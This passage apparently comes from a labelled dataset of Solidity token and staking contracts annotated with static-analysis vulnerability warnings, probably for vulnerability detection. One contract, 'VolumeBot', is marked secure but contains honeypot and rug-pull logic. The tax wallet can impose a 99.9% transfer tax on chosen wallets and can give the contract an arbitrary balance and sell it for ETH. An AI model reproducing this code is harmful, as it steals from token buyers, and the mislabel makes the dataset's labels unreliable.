_checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTxAmoudcM, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwalles_EOMS,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}",
"file_name": "solidity_code_1470.sol",
"secure": 0,
"size_bytes": 4618
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract VolumeBot is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: e5f92ff): VolumeBot._decimals should be constant \n\t// Recommendation for e5f92ff: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 50a1575): VolumeBot._totalSupply should be immutable \n\t// Recommendation for 50a1575: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: e9c882f): VolumeBot._name should be constant \n\t// Recommendation for e9c882f: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Volume Bot\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 2850d28): VolumeBot._symbol should be constant \n\t// Recommendation for 2850d28: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"VOLUMEAI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 2e18f64): VolumeBot.uniV2Router should be constant \n\t// Recommendation for 2e18f64: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0628fba): VolumeBot._taxWallet should be immutable \n\t// Recommendation for 0628fba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function ToSwapAndOpen() public {}\n\n function ToSwapAndExecute() external {}\n\n function ToOpenToMinSwap() public {}\n\n function ToOpenToMaxSwap() public {}\n\n function ToIncreaseSwap(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function ToIncreaseLimitMax(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_1471.sol",
"secure": 1,
"size_bytes": 7107
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Tscan is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isBlacklisted;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n address public constant deadWallet =\n 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 67be363): tscan.MarketingWallet should be immutable \n\t// Recommendation for 67be363: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private MarketingWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4b735d1): tscan.DevWallet should be immutable \n\t// Recommendation for 4b735d1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private DevWallet;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = \"Telescan\";\n\n string private constant _symbol = \"TSCAN\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 9737966): tscan.SwapTokens should be constant \n\t// Recommendation for 9737966: Add the 'constant' attribute to state variables that never change.\n uint256 private SwapTokens = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ae3bafe): tscan.maxSwapTokens should be constant \n\t// Recommendation for ae3bafe: Add the 'constant' attribute to state variables that never change.\n uint256 private maxSwapTokens = 20000000 * 10 ** _decimals;\n\n uint256 public maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 private buyTaxes = 30;\n\n uint256 private sellTaxes = 40;\n\n uint256 private _Buys_In = 0;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1a86a61): tscan.uniswapV2Router should be immutable \n\t// Recommendation for 1a86a61: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ca7bd00): tscan.uniswapV2Pair should be immutable \n\t// Recommendation for ca7bd00: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool public tradeEnable = false;\n\n bool private _SwapBackEnable = false;\n\n bool private inSwap = false;\n\n event FeesRecieverUpdated(address indexed _newWallet);\n\n event ExcludeFromFeeUpdated(address indexed account);\n\n event IncludeFromFeeUpdated(address indexed account);\n\n event SwapThreshouldUpdated(\n uint256 indexed minToken,\n uint256 indexed maxToken\n );\n\n event SwapBackSettingUpdated(bool indexed state);\n\n event ERC20TokensRecovered(uint256 indexed _amount);\n\n event TradingOpenUpdated();\n\n event ETHBalanceRecovered();\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n if (block.chainid == 56) {\n uniswapV2Router = IUniswapV2Router02(\n 0x10ED43C718714eb63d5aA57B78B54704E256024E\n );\n } else if (block.chainid == 1 || block.chainid == 5) {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n } else if (block.chainid == 42161) {\n uniswapV2Router = IUniswapV2Router02(\n 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506\n );\n } else if (block.chainid == 97) {\n uniswapV2Router = IUniswapV2Router02(\n 0xD99D1c33F9fC3444f8101754aBC46c52416550D1\n );\n } else {\n revert(\"Wrong Chain Id\");\n }\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n MarketingWallet = payable(0x183900D87a5B5DebeB6FC26002A56c32276f5f48);\n\n DevWallet = payable(0x183900D87a5B5DebeB6FC26002A56c32276f5f48);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[_msgSender()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[MarketingWallet] = true;\n\n _isExcludedFromFee[DevWallet] = true;\n\n _isExcludedFromFee[deadWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a43beac): tscan.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a43beac: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fed5ef6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fed5ef6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1224ed3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1224ed3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n\t\t// reentrancy-events | ID: fed5ef6\n\t\t// reentrancy-eth | ID: 1224ed3\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fed5ef6\n\t\t// reentrancy-eth | ID: 1224ed3\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 485395b): tscan._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 485395b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-eth | ID: 1224ed3\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fed5ef6\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4f4b1ed): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4f4b1ed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f95b970): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f95b970: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n require(\n !isBlacklisted[from] && !isBlacklisted[to],\n \"You can't transfer tokens\"\n );\n\n uint256 TaxSwap = 0;\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n require(tradeEnable, \"Trading not enabled\");\n\n TaxSwap = (amount * (buyTaxes)) / (100);\n }\n\n if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {\n TaxSwap = 0;\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= maxTxAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _Buys_In++;\n }\n\n if (\n from != uniswapV2Pair &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= maxTxAmount, \"Exceeds the _maxTxAmount.\");\n }\n\n if (\n to == uniswapV2Pair &&\n from != address(this) &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n TaxSwap = (amount * (sellTaxes)) / (100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n from != uniswapV2Pair &&\n _SwapBackEnable &&\n contractTokenBalance > SwapTokens &&\n _Buys_In > 1\n ) {\n\t\t\t// reentrancy-events | ID: 4f4b1ed\n\t\t\t// reentrancy-eth | ID: f95b970\n swapTokensForEth(\n min(amount, min(contractTokenBalance, maxSwapTokens))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t// reentrancy-events | ID: 4f4b1ed\n\t\t\t\t// reentrancy-eth | ID: f95b970\n sendETHToFee(address(this).balance);\n }\n }\n\n\t\t// reentrancy-eth | ID: f95b970\n _balances[from] = _balances[from] - amount;\n\n\t\t// reentrancy-eth | ID: f95b970\n _balances[to] = _balances[to] + (amount - (TaxSwap));\n\n\t\t// reentrancy-events | ID: 4f4b1ed\n emit Transfer(from, to, amount - (TaxSwap));\n\n if (TaxSwap > 0) {\n\t\t\t// reentrancy-eth | ID: f95b970\n _balances[address(this)] = _balances[address(this)] + (TaxSwap);\n\n\t\t\t// reentrancy-events | ID: 4f4b1ed\n emit Transfer(from, address(this), TaxSwap);\n }\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n require(tokenAmount > 0, \"amount must be greeter than 0\");\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4f4b1ed\n\t\t// reentrancy-events | ID: fed5ef6\n\t\t// reentrancy-eth | ID: 1224ed3\n\t\t// reentrancy-eth | ID: f95b970\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n require(amount > 0, \"amount must be greeter than 0\");\n\n uint256 DevFeeAmount;\n\n if (balanceOf(address(this)) >= maxSwapTokens) {\n DevFeeAmount = (amount * (1)) / (2);\n } else {\n DevFeeAmount = (amount * (1)) / (2);\n }\n\n\t\t// reentrancy-events | ID: 4f4b1ed\n\t\t// reentrancy-events | ID: fed5ef6\n\t\t// reentrancy-eth | ID: 1224ed3\n\t\t// reentrancy-eth | ID: f95b970\n DevWallet.transfer(DevFeeAmount);\n\n\t\t// reentrancy-events | ID: 4f4b1ed\n\t\t// reentrancy-events | ID: fed5ef6\n\t\t// reentrancy-eth | ID: 1224ed3\n\t\t// reentrancy-eth | ID: f95b970\n MarketingWallet.transfer(amount - (DevFeeAmount));\n }\n\n function removeMaxTxLimit() external onlyOwner {\n maxTxAmount = _tTotal;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 43842fa): tscan.changeFee(uint256,uint256) should emit an event for buyTaxes = _buyFee sellTaxes = _sellFee \n\t// Recommendation for 43842fa: Emit an event for critical parameter changes.\n function changeFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n require(_buyFee <= 40 && _sellFee <= 40, \"revert wrong fee settings\");\n\n\t\t// events-maths | ID: 43842fa\n buyTaxes = _buyFee;\n\n\t\t// events-maths | ID: 43842fa\n sellTaxes = _sellFee;\n }\n\n function excludeFromFee(address account) external onlyOwner {\n require(\n _isExcludedFromFee[account] != true,\n \"Account is already excluded\"\n );\n\n _isExcludedFromFee[account] = true;\n\n emit ExcludeFromFeeUpdated(account);\n }\n\n function includeFromFee(address account) external onlyOwner {\n require(\n _isExcludedFromFee[account] != false,\n \"Account is already included\"\n );\n\n _isExcludedFromFee[account] = false;\n\n emit includeFromFeeUpdated(account);\n }\n\n function setBlacklist(address _address, bool _status) external onlyOwner {\n isBlacklisted[_address] = _status;\n }\n\n function setTrading() external onlyOwner {\n require(!tradeEnable, \"trading is already open\");\n\n _SwapBackEnable = true;\n\n tradeEnable = true;\n\n emit TradingOpenUpdated();\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 43e8519): Reentrancy in tscan.recoverERC20FromContract(address,uint256) External calls IERC20(_tokenAddy).transfer(MarketingWallet,_amount) Event emitted after the call(s) ERC20TokensRecovered(_amount)\n\t// Recommendation for 43e8519: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 9b83a6d): tscan.recoverERC20FromContract(address,uint256) ignores return value by IERC20(_tokenAddy).transfer(MarketingWallet,_amount)\n\t// Recommendation for 9b83a6d: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function recoverERC20FromContract(\n address _tokenAddy,\n uint256 _amount\n ) external onlyOwner {\n require(\n _tokenAddy != address(this),\n \"Owner can't claim contract's balance of its own tokens\"\n );\n\n require(_amount > 0, \"Amount should be greater than zero\");\n\n require(\n _amount <= IERC20(_tokenAddy).balanceOf(address(this)),\n \"Insufficient Amount\"\n );\n\n\t\t// reentrancy-events | ID: 43e8519\n\t\t// unchecked-transfer | ID: 9b83a6d\n IERC20(_tokenAddy).transfer(MarketingWallet, _amount);\n\n\t\t// reentrancy-events | ID: 43e8519\n emit ERC20TokensRecovered(_amount);\n }\n\n function recoverETHfromContract() external {\n uint256 contractETHBalance = address(this).balance;\n\n require(contractETHBalance > 0, \"Amount should be greater than zero\");\n\n require(\n contractETHBalance <= address(this).balance,\n \"Insufficient Amount\"\n );\n\n payable(address(MarketingWallet)).transfer(contractETHBalance);\n\n emit ETHBalanceRecovered();\n }\n}",
"file_name": "solidity_code_1472.sol",
"secure": 0,
"size_bytes": 17384
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _owner = 0x733b0C59483bF6365a6F29d70fE35Dd47Dba4fed;\n\n emit OwnershipTransferred(address(0), _owner);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\nstruct Stake {\n uint256 stakedAmount;\n uint256 issuedReward;\n uint256 lastUpdateTimestamp;\n uint256 initialTimestamp;\n}",
"file_name": "solidity_code_1473.sol",
"secure": 1,
"size_bytes": 1263
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract SummitArkStaking is Ownable {\n bool isBusy = false;\n\n uint256 public stakingFee = 10;\n\n uint256 public rewardPercentage = 136;\n\n uint256 public stakingPeriod = 86400;\n\n\t// WARNING Optimization Issue (constable-states | ID: b1e67f0): SummitArkStaking.tokenAddress should be constant \n\t// Recommendation for b1e67f0: Add the 'constant' attribute to state variables that never change.\n address public tokenAddress = 0x4cAB242Dfd99406fa54DE0E25cEa688407279508;\n\n address public treasuryWallet = 0x3215b3265167b17c58605d0aaf647F52C47e5029;\n\n address[] public stakers;\n\n mapping(address => Stake) public stakeLadger;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d6e9d1): SummitArkStaking.totalStaked should be constant \n\t// Recommendation for 9d6e9d1: Add the 'constant' attribute to state variables that never change.\n uint256 public totalStaked;\n\n uint256 public totalIssuedReward;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b84c05e): SummitArkStaking.stakingToken should be immutable \n\t// Recommendation for b84c05e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20 stakingToken;\n\n constructor() {\n stakingToken = IERC20(tokenAddress);\n }\n\n function getUserState(\n address addr\n ) public view returns (uint256[6] memory data) {\n (uint256 calculatedReward, uint256 periods) = calculateReward(addr);\n\n uint256 stakingTokenBalance = stakingToken.balanceOf(addr);\n\n uint256 approvedAmount = stakingToken.allowance(addr, address(this));\n\n data[0] = stakingTokenBalance;\n\n data[1] = stakeLadger[addr].stakedAmount;\n\n data[2] = calculatedReward;\n\n data[3] = stakeLadger[addr].issuedReward;\n\n data[4] = approvedAmount;\n\n data[5] = periods;\n\n return data;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5f0431b): SummitArkStaking.updateStakingFee(uint256) should emit an event for stakingFee = _stakingFee \n\t// Recommendation for 5f0431b: Emit an event for critical parameter changes.\n function updateStakingFee(uint256 _stakingFee) public onlyOwner {\n\t\t// events-maths | ID: 5f0431b\n stakingFee = _stakingFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 320f6ae): SummitArkStaking.updateRewardPercentage(uint256) should emit an event for rewardPercentage = _rewardPercentage \n\t// Recommendation for 320f6ae: Emit an event for critical parameter changes.\n function updateRewardPercentage(\n uint256 _rewardPercentage\n ) public onlyOwner {\n\t\t// events-maths | ID: 320f6ae\n rewardPercentage = _rewardPercentage;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: be48d9e): SummitArkStaking.updateStakingPeriod(uint256) should emit an event for stakingPeriod = _stakingPeriod \n\t// Recommendation for be48d9e: Emit an event for critical parameter changes.\n function updateStakingPeriod(uint256 _stakingPeriod) public onlyOwner {\n\t\t// events-maths | ID: be48d9e\n stakingPeriod = _stakingPeriod;\n }\n\n event Staked(address addr, uint256 amount, uint256 timestamp);\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b4c27c7): SummitArkStaking.stake(uint256) uses timestamp for comparisons Dangerous comparisons stakeLadger[msg.sender].stakedAmount == 0\n\t// Recommendation for b4c27c7: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a7e4360): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a7e4360: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 1f5d59d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 1f5d59d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: b93da89): SummitArkStaking.stake(uint256) uses a dangerous strict equality stakeLadger[msg.sender].stakedAmount == 0\n\t// Recommendation for b93da89: Don't use strict equality to determine if an account has enough Ether or tokens.\n function stake(uint256 amount) public {\n require(!isBusy, \"Busy in Staking!\");\n\n isBusy = true;\n\n\t\t// timestamp | ID: b4c27c7\n\t\t// incorrect-equality | ID: b93da89\n if (stakeLadger[msg.sender].stakedAmount == 0) {\n stakers.push(msg.sender);\n\n stakeLadger[msg.sender] = Stake(\n 0,\n 0,\n block.timestamp,\n block.timestamp\n );\n }\n\n uint256 stakingFeeTokens = (amount * stakingFee) / 100;\n\n\t\t// reentrancy-events | ID: a7e4360\n\t\t// reentrancy-no-eth | ID: 1f5d59d\n require(\n stakingToken.transferFrom(\n msg.sender,\n treasuryWallet,\n stakingFeeTokens\n ),\n \"Failed to transfer to treasury wallet\"\n );\n\n amount = amount - stakingFeeTokens;\n\n\t\t// reentrancy-events | ID: a7e4360\n\t\t// reentrancy-no-eth | ID: 1f5d59d\n require(\n stakingToken.transferFrom(msg.sender, address(this), amount),\n \"Failed to transfer to staking pool\"\n );\n\n\t\t// reentrancy-no-eth | ID: 1f5d59d\n stakeLadger[msg.sender].stakedAmount += amount;\n\n\t\t// reentrancy-no-eth | ID: 1f5d59d\n stakeLadger[msg.sender].lastUpdateTimestamp = block.timestamp;\n\n\t\t// reentrancy-events | ID: a7e4360\n emit Staked(msg.sender, amount, block.timestamp);\n\n\t\t// reentrancy-no-eth | ID: 1f5d59d\n isBusy = false;\n }\n\n function getGenInfo() public view returns (uint256, uint256, uint256) {\n uint256 allStakers = stakers.length;\n\n return (\n stakingToken.balanceOf(address(this)),\n totalIssuedReward,\n allStakers\n );\n }\n\n function getPeriods(address addr) public view returns (uint256) {\n uint256 lastUpdateTimestamp = stakeLadger[addr].lastUpdateTimestamp;\n\n uint256 timeLapse = block.timestamp - lastUpdateTimestamp;\n\n uint256 periods = timeLapse / stakingPeriod;\n\n return periods;\n }\n\n function getStakeInfo(address addr) public view returns (Stake memory) {\n return stakeLadger[addr];\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b1c63fb): SummitArkStaking.calculateReward(address) uses timestamp for comparisons Dangerous comparisons stakedAmount == 0 periods == 0\n\t// Recommendation for b1c63fb: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 9dd5658): SummitArkStaking.calculateReward(address) uses a dangerous strict equality stakedAmount == 0\n\t// Recommendation for 9dd5658: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: f70ccd9): SummitArkStaking.calculateReward(address) uses a dangerous strict equality periods == 0\n\t// Recommendation for f70ccd9: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9e09f6b): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 9e09f6b: Consider ordering multiplication before division.\n function calculateReward(\n address addr\n ) public view returns (uint256, uint256) {\n uint256 stakedAmount = stakeLadger[addr].stakedAmount;\n\n\t\t// timestamp | ID: b1c63fb\n\t\t// incorrect-equality | ID: 9dd5658\n if (stakedAmount == 0) {\n return (0, 0);\n }\n\n\t\t// divide-before-multiply | ID: 9e09f6b\n uint256 rewardPerPeriod = ((stakedAmount * rewardPercentage) / 1000);\n\n uint256 periods = getPeriods(addr);\n\n\t\t// timestamp | ID: b1c63fb\n\t\t// incorrect-equality | ID: f70ccd9\n if (periods == 0) {\n return (0, 0);\n 